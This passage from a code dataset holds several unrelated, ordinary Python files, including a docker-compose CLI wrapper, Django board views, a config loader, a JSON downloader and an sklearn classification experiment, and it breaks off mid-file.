tf.Session(graph=graph)\n agent = build_agent(env, sess, graph)\n\n agent.train()\n\n return\n\nif __name__ == \"__main__\":\n main()","sub_path":"examples/rl_example/train_arm.py","file_name":"train_arm.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"577614380","text":"while True:\r\n try:\r\n linha = input().split()\r\n n = int(linha[0])\r\n q = int(linha[1])\r\n\r\n vet = []\r\n for i in range(n):\r\n x = int(input())\r\n vet.append(x)\r\n\r\n vet.sort()\r\n vet.reverse()\r\n\r\n for i in range(q):\r\n x = int(input())\r\n print(vet[x - 1])\r\n\r\n except EOFError:\r\n break\r\n\r\n\r\n\r\n","sub_path":"Python/URI/2534.py","file_name":"2534.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"278423247","text":"\"\"\"\nset the configuration for extract_table.py\n\nthe configuration file name and path is passed as an env variable to a lambda function so is available to config as a\nparameter\n\nRelease:\n\nfirst release 12 May 2018\n\"\"\"\n\nfrom collections import namedtuple\nimport configparser\nimport logging\nfrom pprint import pprint\nimport sys\nimport time\n\n\n# review aws parameters as deployment package develops\n\nConfiguration = namedtuple('Configuration',\n ['aws_region',\n 'table_name',\n 'pdf_bucket',\n 'non_pdf_bucket',\n 'problem_bucket',\n 'verbose',\n 'datapath',\n 'outputpath',\n 'header_row_height',\n 'small_texts_width',\n 'correct_cols_min_diffsum',\n 'low_thresh',\n 'high_thresh',\n 'canny_kernel_size',\n 'hough_roh_res',\n 'hough_theta_res_divider',\n 'hough_votes_thresh_frac',\n 'param1_rad',\n 'param2_rad',\n 'param3_rad',\n 'header_page_fraction',\n 'dist_thresh',\n 'row_posn_offset',\n 'min_arr_size',\n 'gap',\n 'oauth_path',\n 'oauth_file',\n 'aws_secrets_path',\n 'aws_secrets_file',\n 'aws_access_path',\n 'aws_access_file',\n 'user_prompt'\n ])\n\nLOGGER = logging.getLogger(__name__)\n\nversion = '1.0'\n\ndate = '12 May 2018'\n\n\ndef config_input(filename):\n \"\"\"\n set config from file defined in args,\n \"\"\"\n\n config = configparser.ConfigParser()\n\n try:\n config.read(filename)\n except (FileNotFoundError, IOError, UnicodeDecodeError):\n raise IOError('Config file not found or wrong file type')\n\n else:\n\n try:\n conf = Configuration(\n aws_region=config['aws']['aws_region'],\n table_name=config['aws']['table_name'],\n pdf_bucket=config['aws']['pdf_bucket'],\n non_pdf_bucket=config['aws']['non_pdf_bucket'],\n problem_bucket=config['aws']['problem_bucket'],\n verbose=config['logging'].getboolean('verbose'),\n datapath=config['paths']['datapath'],\n outputpath=config['paths']['outputpath'],\n header_row_height=config['pdftabextract']['header_row_height'],\n small_texts_width=config['pdftabextract']['small_texts_width'],\n correct_cols_min_diffsum=config['pdftabextract']['correct_cols_min_diffsum'],\n low_thresh=config['lines_hough']['low_thresh'],\n high_thresh=config['lines_hough']['high_thresh'],\n canny_kernel_size=config['lines_hough']['canny_kernel_size'],\n hough_roh_res=config['lines_hough']['hough_roh_res'],\n hough_theta_res_divider=config['lines_hough']['hough_theta_res_divider'],\n hough_votes_thresh_frac=config['lines_hough']['hough_votes_thresh_frac'],\n param1_rad=config['rot']['param1_rad'],\n param2_rad=config['rot']['param2_rad'],\n param3_rad=config['rot']['param3_rad'],\n header_page_fraction=config['find_row_col']['header_page_fraction'],\n dist_thresh=config['find_row_col']['dist_thresh'],\n row_posn_offset=config['find_row_col']['row_posn_offset'],\n min_arr_size=config['find_row_col']['min_arr_size'],\n gap=config['table_top_bott']['gap'],\n oauth_path=config['secrets']['oauth_path'],\n oauth_file=config['secrets']['oauth_file'],\n aws_secrets_path=config['secrets']['aws_secrets_path'],\n aws_secrets_file=config['secrets']['aws_secrets_file'],\n aws_access_path=config['secrets']['aws_access_path'],\n aws_access_file=config['secrets']['aws_access_file'],\n user_prompt=config['user']['user_prompt']\n )\n\n except (configparser.Error, KeyError):\n raise KeyError('Config file incorrectly structured')\n\n return conf\n\n\ndef confirm(conf):\n \"\"\"\n display config, get user confirmation, sys.exit if wrong\n \"\"\"\n if conf.user_prompt == 'yes':\n print('\\n')\n print('configuration parameters:\\n\\n')\n pprint(dict(conf._asdict()))\n print('\\n')\n\n accept = ''\n while accept.lower() != 'yes' and accept.lower() != 'no':\n accept = user_input('run with this config (yes/no):')\n\n if accept.lower() == 'no':\n LOGGER.critical('USER TERMINATION.....')\n time.sleep(2)\n sys.exit()\n\n return\n\n\ndef user_input(string):\n \"\"\"\n capture user input\n\n separate function to allow monkey patching in testing\n \"\"\"\n return input(string)\n\n","sub_path":"src/Parse_data/table_id/functions/lambda_extract_table/config_extract.py","file_name":"config_extract.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36211984","text":"from deriva.core import HatracStore, ErmrestCatalog, get_credential, DerivaPathError\nimport deriva.core.ermrest_model as em\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('hostname')\nparser.add_argument('catalog_number')\nparser.add_argument('schema_name')\nargs = parser.parse_args()\n\n\nhostname = args.hostname\nschema_name = args.schema_name\ncatalog_number = args.catalog_number\n\nterm_table = 'Metadata'\nterm_comment = 'metadata item'\n\ncredential = get_credential(hostname)\ncatalog = ErmrestCatalog('https', hostname, catalog_number, credentials=credential)\n\ndef create_vocabulary_table(catalog,term_table, term_comment):\n model_root = catalog.getCatalogModel()\n new_vocab_table = \\\n model_root.schemas[schema_name].create_table(catalog, em.Table.define_vocabulary(term_table,'CORE:{RID}',comment=term_comment)\n)\n\ncreate_vocabulary_table(catalog,term_table,term_comment)","sub_path":"script/initialization/12_create_table_Dataset_Term.py","file_name":"12_create_table_Dataset_Term.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"589923595","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport os\nimport click\nimport getpass\n\nfrom click_project.lib import cd, call, updated_env\nfrom click_project.decorators import option, argument, flag, group as group_\nfrom click_project.core import cache_disk\nfrom click_project.lib import ParameterType, check_output\nfrom click_project.completion import startswith\nfrom click_project.config import config\n\n\ndef docker_command(group=None, **kwargs):\n \"\"\"A decorator to create a group with docker subcommands\"\"\"\n def decorator(f):\n opts = dict((k, v) for k, v in kwargs.items() if k in ['directory', 'extra_options'])\n for k in opts.keys():\n del kwargs[k]\n g = group.group(**kwargs)(f) if group else group_(**kwargs)(f)\n docker_generic_commands(g, **opts)\n return g\n return decorator\n\n\ndef docker_generic_commands(group, directory, extra_options=lambda: [\"-p\", config.simulator_name.lower()],\n extra_env=lambda: {}, extra_flowdepends={}):\n def abs_directory():\n return os.path.abspath(directory() if callable(directory) else directory)\n\n def docker_compose(args, internal=False):\n with updated_env(**extra_env()):\n call([\"docker-compose\"] +\n (extra_options() if callable(extra_options) else extra_options) +\n args, internal=internal, cwd=abs_directory())\n\n class DockerServices(ParameterType):\n @property\n def choices(self):\n @cache_disk(expire=60)\n def compute(directory, args):\n with cd(directory, internal=True):\n return [\n s.strip()\n for s in\n check_output([\"docker-compose\"] + args + [\"config\", \"--services\"],\n internal=True).splitlines()\n ]\n return compute(abs_directory(), extra_options() if callable(extra_options) else extra_options)\n\n def complete(self, ctx, incomplete):\n return [\n choice\n for choice in self.choices\n if startswith(choice, incomplete)\n ]\n\n @group.command(flowdepends=extra_flowdepends.get('up'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to spin up\")\n @option('--scale', 'scales', help=\"Scale a service. Use the format 'service=number'\", multiple=True)\n @flag(\"--force-recreate/--no-force-recreate\", help=\"Force the recreation of the services\")\n @flag(\"--build/--no-build\", help=\"Build the images before starting the containers\", default=False)\n @flag(\"--detach/--no-detach\", \"-d/-D\", help=\"Run containers in the background\", default=True)\n def up(service, force_recreate, scales, build, detach):\n \"\"\"Create and start containers\"\"\"\n user_in_docker_group()\n up_args = []\n for scale in scales:\n up_args += ['--scale', scale]\n docker_compose(\n ['up'] +\n (['--detach'] if detach else [])+\n (['--build'] if build else [])+\n up_args +\n ([\"--force-recreate\"] if force_recreate else []) +\n list(service)\n )\n\n @group.command(flowdepends=extra_flowdepends.get('down'))\n @option('--remove-orphans/--no-remove-orphans', default=True,\n help=\"Remove the container of the project that are not in the current config\")\n @option(\"--timeout\", \"-t\", help=\"Specify a shutdown timeout in seconds\")\n @option('--volumes/--no-volumes', default=True, help=\"Remove the application volumes\")\n def down(remove_orphans, timeout, volumes):\n \"\"\"Stop and remove containers, networks, images, and volumes\"\"\"\n args = []\n if remove_orphans:\n args += ['--remove-orphans']\n if volumes:\n args += ['--volumes']\n if timeout is not None:\n args += ['--timeout', timeout]\n docker_compose(['down'] + args)\n\n @group.command(flowdepends=extra_flowdepends.get('start'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to start\")\n def start(service):\n \"\"\"Start services\"\"\"\n with cd(abs_directory()):\n docker_compose(['start'] + list(service))\n\n @group.command(flowdepends=extra_flowdepends.get('stop'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to stop\")\n def stop(service):\n \"\"\"Stop services\"\"\"\n docker_compose(['stop'] + list(service))\n\n @group.command(flowdepends=extra_flowdepends.get('restart'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to restart\")\n def restart(service):\n \"\"\"Restart services\"\"\"\n docker_compose(['restart'] + list(service))\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('ps'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to list\")\n def ps(service):\n \"\"\"List containers\"\"\"\n service = service or []\n docker_compose(['ps'] + list(service))\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('status'))\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to check the status\")\n def status(service):\n \"\"\"Show the services status\"\"\"\n service = service or []\n docker_compose(['ps'] + list(service))\n\n @group.command()\n @argument(\"service\", type=DockerServices(), nargs=-1, help=\"The services to show the logs\")\n @option('-f', '--follow/--no-follow', default=False, help=\"Follow log output\")\n def logs(service, follow):\n \"\"\"View output logs from containers\"\"\"\n docker_compose(['logs'] + (['--follow'] if follow else []) + list(service))\n\n @group.command(flowdepends=extra_flowdepends.get('config'))\n @option(\"--services/--no-services\", help=\"List the services instead of the whole configuration\")\n def _config(services):\n \"\"\"Validate and view the compose file\"\"\"\n docker_compose(['config'] + (['--services'] if services else []))\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('exec'))\n @argument(\"service\", type=DockerServices(), help=\"The container where the command will be run\")\n @argument(\"command\", nargs=-1, help=\"The command to run in the container\")\n def _exec(service, command):\n \"\"\"Execute a command in the running container\"\"\"\n docker_compose(['exec', service] + list(command))\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('run'))\n @argument(\"service\", type=DockerServices(), help=\"The container where the command will be run\")\n @argument(\"command\", nargs=-1, help=\"The command to run in the container\")\n def run(service, command):\n \"\"\"Run a one-off command in the container\"\"\"\n docker_compose(['run', service] + list(command))\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('build'))\n @option('--cache/--no-cache', default=True, help=\"Use cache when building the images\")\n @option('--pull/--no-pull', default=False, help=\"Always attempt to pull a newer version of the image\")\n @argument(\"service\", type=DockerServices(), required=False, help=\"The service to build\")\n @argument(\"args\", nargs=-1, help=\"Extra arguments to pass to the build command\")\n def build(service, args, cache, pull):\n \"\"\"Build the container\"\"\"\n command = ['build']\n if not cache:\n command += ['--no-cache']\n if pull:\n command += ['--pull']\n command += ([service] if service else []) + list(args)\n docker_compose(command)\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('images'))\n @argument(\"args\", nargs=-1, help=\"Extra arguments to pass to the images command\")\n def images(args):\n \"\"\"List images\"\"\"\n command = ['images'] + list(args)\n docker_compose(command)\n\n @group.command(ignore_unknown_options=True, flowdepends=extra_flowdepends.get('rm'))\n @option('--force/--no-force', '-f', help=\"Remove the container even if it is not stopped\")\n @argument(\"args\", nargs=-1, help=\"Extra arguments to pass to the images command\")\n def rm(force, args):\n \"\"\"Remove the docker container\"\"\"\n command = ['rm'] + (['-f'] if force else []) + list(args)\n docker_compose(command)\n\n @group.command()\n def fix_up():\n \"\"\"Add the current user to the docker group. Calling this will result in changing /etc/group using sudo\n and relogging using the 'login' command\"\"\"\n call(['sudo', 'adduser', getpass.getuser(), 'docker'])\n call(['sudo', 'login'])\n\n def user_in_docker_group():\n try:\n import grp\n groups = [g.gr_name for g in grp.getgrall() if getpass.getuser() in g.gr_mem]\n if 'docker' not in groups:\n raise click.ClickException(\"The current user is not in the docker group.\"\n \" Please add it to '/etc/group' or use 'fix-up'\")\n except ImportError:\n pass\n","sub_path":"click_project/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":9186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"269583167","text":"\"\"\"\nContains a number of utility functions for storage sockets.\n\"\"\"\n\nimport json\n\n# Constants\n_get_metadata = json.dumps({\"errors\": [], \"n_found\": 0, \"success\": False, \"missing\": [], \"error_description\": False})\n\n_add_metadata = json.dumps(\n {\n \"errors\": [],\n \"n_inserted\": 0,\n \"success\": False,\n \"duplicates\": [],\n \"error_description\": False,\n \"validation_errors\": [],\n }\n)\n\n\ndef get_metadata_template():\n \"\"\"\n Returns a copy of the metadata for database getters.\n \"\"\"\n return json.loads(_get_metadata)\n\n\ndef add_metadata_template():\n \"\"\"\n Returns a copy of the metadata for database save/updates.\n \"\"\"\n return json.loads(_add_metadata)\n","sub_path":"qcfractal/storage_sockets/storage_utils.py","file_name":"storage_utils.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"297609457","text":"#!/usr/local/bin/python3\n# coding: utf-8\n\n# YYeTsBot - dump_kv.py\n# 2/6/21 18:12\n#\n\n__author__ = \"Benny \"\n\nimport json\nimport threading\nfrom concurrent.futures.thread import ThreadPoolExecutor\n\nimport requests\n\ns = requests.Session()\n\nwith open(\"index.json\", ) as f:\n ids = json.load(f)\n\nchunk = [ids[x:x + 3000] for x in range(0, len(ids), 3000)]\n\n\ndef download(c):\n print(\"running batch \", c[0])\n for i in c:\n data = s.get(\"https://yyets.dmesg.app/id={}\".format(i)).json()\n with open(f\"{i}.json\", \"w\") as f:\n json.dump(data, f)\n\n\nif __name__ == '__main__':\n threads = []\n for part in chunk:\n # Create 9 threads counting 10-19, 20-29, ... 90-99.\n thread = threading.Thread(target=download, args=(part,))\n threads.append(thread)\n\n # Start them all\n for thread in threads:\n thread.start()\n\n # Wait for all to complete\n for thread in threads:\n thread.join()\n","sub_path":"yyetsweb/migration/prepare/dump_kv.py","file_name":"dump_kv.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"154313122","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport sys\ntrain_file = sys.argv[1]\nlabel_file = sys.argv[2]\n\n\n# In[ ]:\n\n\n# import libraries\nimport pandas as pd\nimport numpy as np\n\n\n# In[ ]:\n\n\n# reading train data\ntrain_x = pd.read_csv(train_file)\ntrain_x\n\n\n# In[ ]:\n\n\ntrain_x = train_x.replace('?',0)\ntrain_x\n\n\n# In[ ]:\n\n\ny = pd.read_csv(label_file)\ntrain_y = y.iloc[:,0]\ntrain_y = train_y.replace(-1,0) # benign\ntrain_y\n\n\n# In[ ]:\n\n\nul, c = np.unique(train_y, return_counts = True)\nul,c\n\n\n# In[ ]:\n\n\nimport seaborn as sns\nax = sns.barplot(x = ul.astype(int), y = c)\nax.set(xlabel='Labels',ylabel = 'Count',title = 'Label Distribution ')\n\n\n# In[ ]:\n\n\nfrom imblearn.under_sampling import NearMiss\nak = NearMiss(sampling_strategy = 'majority',n_jobs = -1)\ntrain_x_rs, train_y_rs = ak.fit_resample(train_x, train_y)\n\n\n# In[ ]:\n\n\ntrain_x_rs.shape\n\n\n# In[ ]:\n\n\nnp.unique(train_x_rs, return_counts = True)\n\n\n# In[ ]:\n\n\n# Applying the genetic algorithm\n\ndef genetic(data,labels,i):\n if i==1:\n from sklearn.neural_network import MLPClassifier\n estimator = MLPClassifier(hidden_layer_sizes = (1),activation = 'identity',validation_fraction = 0.1,solver = 'adam',n_iter_no_change = 2,tol = 1e-2,batch_size = 4,learning_rate='adaptive',random_state=1,early_stopping = True)\n from genetic_selection import GeneticSelectionCV\n selector = GeneticSelectionCV(estimator,\n cv= 10,\n verbose=1,\n scoring= 'balanced_accuracy', \n max_features=50,\n n_population=1246,\n crossover_proba=0.5,\n mutation_proba=0.2,\n n_generations=0,\n crossover_independent_proba=0.5,\n mutation_independent_proba=0.05,\n tournament_size=1,\n n_gen_no_change=100,\n caching=True,\n n_jobs=1)\n\n selector.fit(data,labels)\n val = selector.support_\n # selecting features\n lst = []\n for i in range(len(val)):\n if (val[i] == False):\n lst.append(i)\n return lst\n# all features taken\n elif i==2:\n lst = []\n return lst \n\n\n# In[ ]:\n\n\nfinal_list = genetic(train_x_rs,train_y_rs,2)\nfinal_list\n\n\n# In[ ]:\n\n\ntrain_x_rs = np.delete(train_x_rs.values,final_list,axis = 1)\n\n\n# In[ ]:\n\n\n# run\n\n\n# In[ ]:\n\n\ntrain_x_rs.shape\n\n\n# In[ ]:\n\n\nul1, c1 = np.unique(train_y_rs, return_counts = True)\nul1,c1\n\n\n# In[ ]:\n\n\nimport seaborn as sns\nax = sns.barplot(x = ul1.astype(int), y = c1)\nax.set(xlabel='Labels',ylabel = 'Count',title = 'Label Distribution')\n\n\n# In[ ]:\n\n\n## creating 10 fold train-test spilt\n\nfrom sklearn.model_selection import StratifiedKFold\nskf = StratifiedKFold(n_splits=10)\n\n\n# using different classifiers by defining a function \n###################\ndef classifier(i):\n\n if i==1:\n # first classifier (SVM - diff params)\n from sklearn.svm import SVC\n clf = SVC(kernel = 'rbf',random_state=1)\n elif i==2:\n # second classifier (NuSVM)\n from sklearn.svm import NuSVC\n clf = NuSVC(kernel = 'rbf', random_state=1)\n elif i==3:\n # third classifier (Bagging Classifier)\n from sklearn.ensemble import BaggingClassifier\n from sklearn.svm import NuSVC\n clf = BaggingClassifier(base_estimator=NuSVC(kernel = 'rbf', random_state=1),n_estimators=20, bootstrap_features = True,random_state=1,max_samples = 0.9,max_features=3,n_jobs = -1)\n \n elif i==4:\n # fourth classifier (Boosting Classifier)\n from sklearn.ensemble import AdaBoostClassifier\n from sklearn.svm import NuSVC\n clf = AdaBoostClassifier(base_estimator=NuSVC(kernel = 'rbf',random_state=1),algorithm = 'SAMME',n_estimators=10,random_state=1)\n \n elif i==5:\n # fifth classifier (Random Forest)\n from sklearn.ensemble import RandomForestClassifier as rf\n clf = rf(n_estimators = 300,oob_score = True,random_state = 1,class_weight = 'balanced',max_features = 'sqrt',n_jobs = -1)\n \n elif i==6:\n # sixth classifier (Gradient Boosting)\n from sklearn.ensemble import GradientBoostingClassifier as gbc\n clf = gbc(n_estimators = 50, subsample = 0.75, max_depth = 50, random_state = 1, learning_rate = 0.5, loss = 'exponential',max_features = 'sqrt')\n \n elif i==7:\n # seventh classifier (XGboost)\n import xgboost as xgb\n clf = xgb.XGBClassifier(booster='gbtree',n_estimators = 50, learning_rate = 0.5,random_state = 1,max_depth=100,subsample = 0.9,n_jobs=-1, num_parallel_tree=15,use_label_encoder=False)\n \n elif i==8:\n # eighth classifier (LightGBM)\n import lightgbm as lgbm\n clf = lgbm.LGBMClassifier(n_estimators = 100,num_leaves = 400,class_weight = 'balanced',random_state = 1, learning_rate = 0.5,max_depth=400,subsample = 0.9,n_jobs=-1)\n \n return(clf)\n###################\n\n\n# calling the function for different classifiers\naccuracies =[]\nclfreport=[]\nrascores=[]\nmcc=[]\nf1 = []\n\nimport time\nstart_time = time.time()\n\nmodel = classifier(2)\n\nprint(\"--> Classifier:\", model)\ni = 1\n \nfor train_index, test_index in skf.split(train_x_rs, train_y_rs):\n\n print(\"--> Fold:\", i)\n x_tr,x_te = train_x_rs[train_index], train_x_rs[test_index]\n y_tr,y_te = train_y_rs[train_index], train_y_rs[test_index]\n from sklearn.metrics import accuracy_score\n model.fit(x_tr,y_tr)\n y_pred_val = model.predict(x_te)\n\n\n print(\"--> Accuracy:\",accuracy_score(y_te,y_pred_val))\n a1 = accuracy_score(y_te,y_pred_val)\n print(\"\\n\")\n from sklearn.metrics import classification_report,roc_auc_score,matthews_corrcoef,f1_score\n print(\"--> Classification Report: \\n\",classification_report(y_te,y_pred_val))\n a2 = classification_report(y_te,y_pred_val)\n print(\"--> ROC_AUC_Score: \\n\",roc_auc_score(y_te,y_pred_val))\n a3 = roc_auc_score(y_te,y_pred_val)\n print(\"--> MCC:\", matthews_corrcoef(y_te.values.reshape(-1,1),y_pred_val))\n a4 = matthews_corrcoef(y_te.values.reshape(-1,1),y_pred_val)\n print(\"--> F1 Score:\", f1_score(y_te.values.reshape(-1,1),y_pred_val))\n a5 = f1_score(y_te.values.reshape(-1,1),y_pred_val)\n accuracies.append(a1)\n clfreport.append(a2)\n rascores.append(a3)\n mcc.append(a4)\n f1.append(a5)\n\n i = i+1\n \nprint(\"--> Execution Time: %s seconds\" % (time.time() - start_time))\n\n\n# In[ ]:\n\n\nprint(\"--> Mean Accuracy:\",np.mean(accuracies))\n\n\n# In[ ]:\n\n\nprint(\"--> Mean ROC_AUC Score:\",np.mean(rascores))\n\n\n# In[ ]:\n\n\nprint(\"--> Mean F1 Score:\",np.mean(f1))\n\n","sub_path":"GROUP10_ACMSIGKDD.py","file_name":"GROUP10_ACMSIGKDD.py","file_ext":"py","file_size_in_byte":6969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"645348569","text":"from space_object import SpaceObject\n\nLASER_LIFETIME = 1.5\n\nclass Laser(SpaceObject):\n def __init__(self, batch, objects, window):\n super().__init__(batch, objects, window)\n self.lifetime_remaining = LASER_LIFETIME\n\n def image_path(self):\n return \"../assets/PNG/Lasers/laserBlue02.png\"\n\n def tick(self, time_elapsed, keys_pressed, window):\n self.x = self.x + time_elapsed*self.x_speed\n self.y = self.y + time_elapsed*self.y_speed\n\n # infinite space - wraparound coordinates\n self.x %= window.width\n self.y %= window.height\n\n super().update_sprite()\n\n self.lifetime_remaining = self.lifetime_remaining - time_elapsed\n if self.lifetime_remaining <= 0:\n self.destroy_object()\n\n for obj in self.objects:\n if self.overlaps(obj):\n remove_laser = obj.hit_by_laser()\n if(remove_laser):\n self.destroy_object()\n\n\n\n\n\n\n","sub_path":"zaverecny-projekt/asteroids/v19_destroy_asteroid/laser.py","file_name":"laser.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"38008006","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponse\nfrom .models import Post, Comment\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import CommentForm, PostForm\n\n# Create your views here.\ndef index(request):\n\tpost_list = Post.objects.all()\n\treturn render(request, 'board/post_list.html', {\n\t\t'post_list': post_list,\n\t\t})\n\ndef intro(request):\n\treturn render(request, 'board/intro.html')\n\ndef QnA(request):\n\treturn render(request, 'board/QnA.html')\n\ndef Main(request):\n\tpost_list = Post.objects.all()\n\treturn render(request, 'board/Main.html', {\n\t\t'post_list': post_list,\n\t\t})\n\ndef lock(request):\n\treturn render(request, 'board/lock.html')\n\ndef post_detail(request, pk):\n\tpost = get_object_or_404(Post, pk=pk)\n\treturn render(request, 'board/post_detail.html', {\n\t\t'post': post,\n\t\t})\n\n\n@login_required\ndef post_new(request):\n\tif request.method==\"GET\":\n\t\tform = PostForm()\n\telif request.method==\"POST\":\n\t\tform = PostForm(request.POST, request.FILES)\n\n\t\tif form.is_valid():\n\t\t\tpost=form.save(commit=False)\n\t\t\tpost.author=request.user\n\t\t\tpost.save()\n\t\t\treturn redirect(post,pk=post.pk)\n\treturn render(request, 'board/post_form.html',{\n\t\t'form':form,\n\t\t})\n\n\n@login_required\ndef post_edit(request, pk):\n\tpost=get_object_or_404(Post, pk=pk)\n\tif request.method==\"POST\":\n\t\tform = PostForm(request.POST, instance=post)\n\t\tif form.is_valid():\n\t\t\tpost=form.save(commit=False)\n\t\t\tpost.author=request.user\n\t\t\tpost.save()\n\t\t\treturn redirect(post,pk=post.pk)\n\telse:\n\t\tform=PostForm(instance=post)\n\treturn render(request,'board/post_form.html',{\n\t\t'form':form,\n\t\t})\n\n\n\n@login_required\ndef post_delete(request, pk):\n\tpost=get_object_or_404(Post, pk=pk)\n\tif post.author != request.user:\n\t\treturn redirect('index')\n\n\tif request.method=='POST':\n\t\tpost.delete()\n\t\treturn redirect('index')\n\treturn render(request, 'board/post_confirm_delete.html', {\n\t\t'post':post,\n\t})\n\n\n@login_required\ndef comment_new(request, post_pk):\n\tpost = get_object_or_404(Post, pk=post_pk)\n\n\tif request.method == 'POST':\n\t\tform = CommentForm(request.POST, request.FILES)\n\t\tif form.is_valid():\n\t\t\tcomment = form.save(commit=False)\n\t\t\tcomment.post = post\n\t\t\tcomment.author = request.user\n\t\t\tcomment.save()\n\t\t\treturn redirect('board:post_detail', post.pk)\n\telse:\n\t\tform = CommentForm()\n\treturn render(request, 'board/comment_form.html', {\n\t\t'form':form,\n\t\t})\n\n\n\n@login_required\ndef comment_edit(request, post_pk, pk):\n\t\n\tcomment = get_object_or_404(Comment, pk=pk)\n\tif comment.author != request.user:\n\t\treturn redirect(comment.post)\n\n\tif request.method == 'POST':\n\t\tform = CommentForm(request.POST, request.FILES, instance=comment)\n\t\tif form.is_valid():\n\t\t\tcomment = form.save()\t\t\t\n\t\t\treturn redirect(comment.post)\n\telse:\n\t\tform = CommentForm(instance=comment)\n\treturn render(request, 'board/comment_form.html', {\n\t\t'form':form,\n\t\t})\n\n\n\n@login_required\ndef comment_delete(request, post_pk, pk):\n\t\n\tcomment = get_object_or_404(Comment, pk=pk)\n\tif comment.author != request.user:\n\t\treturn redirect(comment.post)\n\n\tif request.method == 'POST':\n\t\tcomment.delete()\n\t\treturn redirect(comment.post)\n\n\treturn render(request, 'board/comment_confirm_delete.html', {\n\t\t'comment':comment,\n\t\t})","sub_path":"board/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"526272804","text":"#encoding: utf-8\nfrom OpenOrange import *\n\nParentPayRollSettingsWindow = SuperClass(\"PayRollSettingsWindow\",\"Window\",__file__)\nclass PayRollSettingsWindow(ParentPayRollSettingsWindow):\n\n def afterEdit(self, fieldname):\n ParentPayRollSettingsWindow.afterEdit(self, fieldname)\n record = self.getRecord()\n if (fieldname == \"InterestItem\"):\n record.pasteInterestItem()\n if (fieldname == \"VATIntCode\"):\n record.pasteVATIntCode()\n\n \"\"\" no hace falta\n def getPasteWindowName(self,fieldname):\n ps = self.getRecord()\n if(fieldname == \"DownPaySalaryType\"):\n if (ps.DownPayType==1):\n return \"SalaryDiscountPasteWindow\"\n else:\n return \"SalaryTypePasteWindow\"\n \"\"\"\n","sub_path":"extra/PayRoll/windows/PayRollSettingsWindow.py","file_name":"PayRollSettingsWindow.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"238895316","text":"# 013\n# Faça um algoritmo que leia o salário de um funcionário e mostre\n# seu novo salário, com 15% de aumento \n\nsalario = float(input(\"Digite o valor do seu salário: \"))\naumento = salario *(15/100)\nnovo_salario = salario + aumento\nprint(\"Seu salário é {:.2}, com um aumento de 15%, ficará: {:.2}\".format(salario,novo_salario))\n\n# Ou\n\nsalario = float(input(\"Digite o valor do seu salário: \"))\naumento = salario + (salario *(15/100))\nprint(\"Seu salário é {:.2}, com um aumento de 15%, ficará: {:.2}\".format(salario,aumento))\n","sub_path":"exercicios/Ex013.py","file_name":"Ex013.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"414079250","text":"#reading the file and writing the contents to an array\nimport math\nfilepath = 'day_1/input.txt'\n\n\nwith open(filepath) as fp:\n line = fp.readline()\n final_tally = 0\n\n while line:\n line_int = float(line)\n X = (line_int/3)\n X2 = math.floor(X)\n X3 = X2-2\n final_tally += X3\n line = fp.readline()\n\n print(final_tally)\n\nfp.close()","sub_path":"day_1/basic_math.py","file_name":"basic_math.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"256141431","text":"\nimport re\nimport sys\n\nRE_SPLIT_STR = re.compile(r'^(\\+|-)\\s+(.*?)$')\n\nclass ManifestRule(object):\n def __init__(self, rule, exclude=False):\n self.exclude = exclude\n self.regex = translate_glob(rule)\n\n def __repr__(self):\n return \"\"%(self.regex.pattern, self.exclude)\n\n def matches(self, path):\n m = self.regex.search(path)\n if m:\n return not self.exclude\n\nclass Manifest(object):\n def __init__(self, manifest):\n self._rules = []\n if manifest is not None:\n self.parse(manifest)\n\n def parse(self, manifest):\n fileobj = None\n if isinstance(manifest, str):\n manifest = fileobj = open(manifest, \"r\")\n\n try:\n for rule in manifest:\n if isinstance(rule, str):\n rule = rule.rstrip()\n if 